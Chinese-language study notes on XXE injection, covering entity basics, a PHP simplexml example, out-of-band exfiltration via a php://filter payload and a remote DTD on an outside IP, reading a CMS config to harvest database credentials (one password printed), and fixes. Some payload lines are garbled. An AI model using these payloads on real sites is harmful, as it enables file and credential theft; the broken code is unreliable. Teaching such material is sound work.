XXE - 实体注入(xml外部实体注入)

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)

=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)

=>外部实体()

=>注入 用户输入的数据被当做代码进行执行

预定义:(预先定义好的东西)

var_dump() 查看数据类型?

eval() 可以命令执行?

echo 他可以输出?

前端代码:

<b></b> 加粗

<h1></h1> 大标题

XML:

<b></b> 名字而已

<h1></h1>

XML:是一个纯文本 存储信息(可以自己发明标签)

<?xml version="1.0"?> 1.0版本

DTD(通过特殊的命令去其他文件读取信息)

SYSTEM

XML部分

引用(1.txt) 包含(include) 目的处理代码冗余

mysqli_connect();

mysqli_query();

mysqli_close();

危害:

XXE 可以通过dtd去读取、访问其他文件或者网站

实体 => 变量 调用变量&实体名;

<!DOCTYPE scan [

<!ENTITY test SYSTEM "file:///c:/1.txt">]> DTD部分

将c的1.txt文件放入test中

<scan>&test;</scan> XML部分

simplexml_load_string() // 读取字符串当作xml执行

simplexml_load_file() // 读取文件当作 xml执行

<?php test = '\\]\>\\&test;\'; obj = simplexml_load_string(test, 'SimpleXMLElement', LIBXML_NOENT); print_r(obj); ?>

变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

XSS平台:

你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)

php文件记录请求的传参内容(记录文件)

等你去看就可以了

没有回显,外带出来:

1、获取信息

2、发送信息

file:/// 正常情况下,网站不应该使用的协议

PHP伪协议(PHP的内部协议)

php://filter/read=convert.base64-encode/resource=a.txt

如何寻找XXE:

1、看到数据包莫名其妙传递、返回XML代码可以试试

2、代码审计

代码审计:

1、静态审计(纯看)

2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)

3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

静态:

1、全文通读(可拿bluecms练习)

2、危险函数定位 eval() mysqli_query(

$GLOBALS'HTTP_RAW_POST_DATA' => 获取POST原始数据 (form表单)

<?xml:version="1.0">

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php">

8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">

<!ENTITY

&remote;

&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接

<?php

error_reporting(E_ALL ^ E_NOTICE);

header("content-type:text/html;charset=utf-8");

session_start();

$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

md5 => 明文能转密文 密文不能转明文 (e99d2e51cbefe75251f1d40821e07a32)

1.48

修复XXE:

1、libxml_disable_entity_loader(true); PHP的(禁止加载XML实体)

2、过滤SYSTEM关键字

总结:

1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)

2、XXE代码层(套)

3、危害 => SSRF 差不多

4、回显问题 => 2步走的方法外带出来

5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)

6、代码审计(动态、静态全文、危险函数、小技巧)

7、seay工具(全文搜索,定位函数)

8、本地测试,最好可以开一个全新环境,以免出问题

9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)

相关推荐
AlienZHOU3 小时前
AI Coding 时代下,我的技术面试实践分享
前端·后端·面试
Captaincc6 小时前
AI用量v0.1.11更新发布 新增 jusage doctor 诊断指令 托盘展示token 和余额 新增 AutoClaw 支持
前端·后端·vibecoding
计算机魔术师7 小时前
德国Wiki被黑后两周,OpenAI终于把模型失控的账本摊开了
前端
kyriewen8 小时前
我让 AI 当面试官面了我一轮:第 3 个追问我就卡住了(附 10 道追问清单)
前端·面试·ai编程
IT_陈寒8 小时前
Python的GIL把我坑惨了,多线程跑得比单线程还慢
前端·人工智能·后端
前端snow8 小时前
ai agent --- 多agent框架之图编排引擎-langgraph
前端
竹林8188 小时前
OmniPic Studio v3.2.1 核心技术架构与全平台发版解析文档
前端·浏览器
JamesZhang800788 小时前
页面内存只涨不跌? 一次泄漏排查, 牵出 WeakMap 的诞生
前端
Z小明8 小时前
第 6 章 组件进阶
前端·vue.js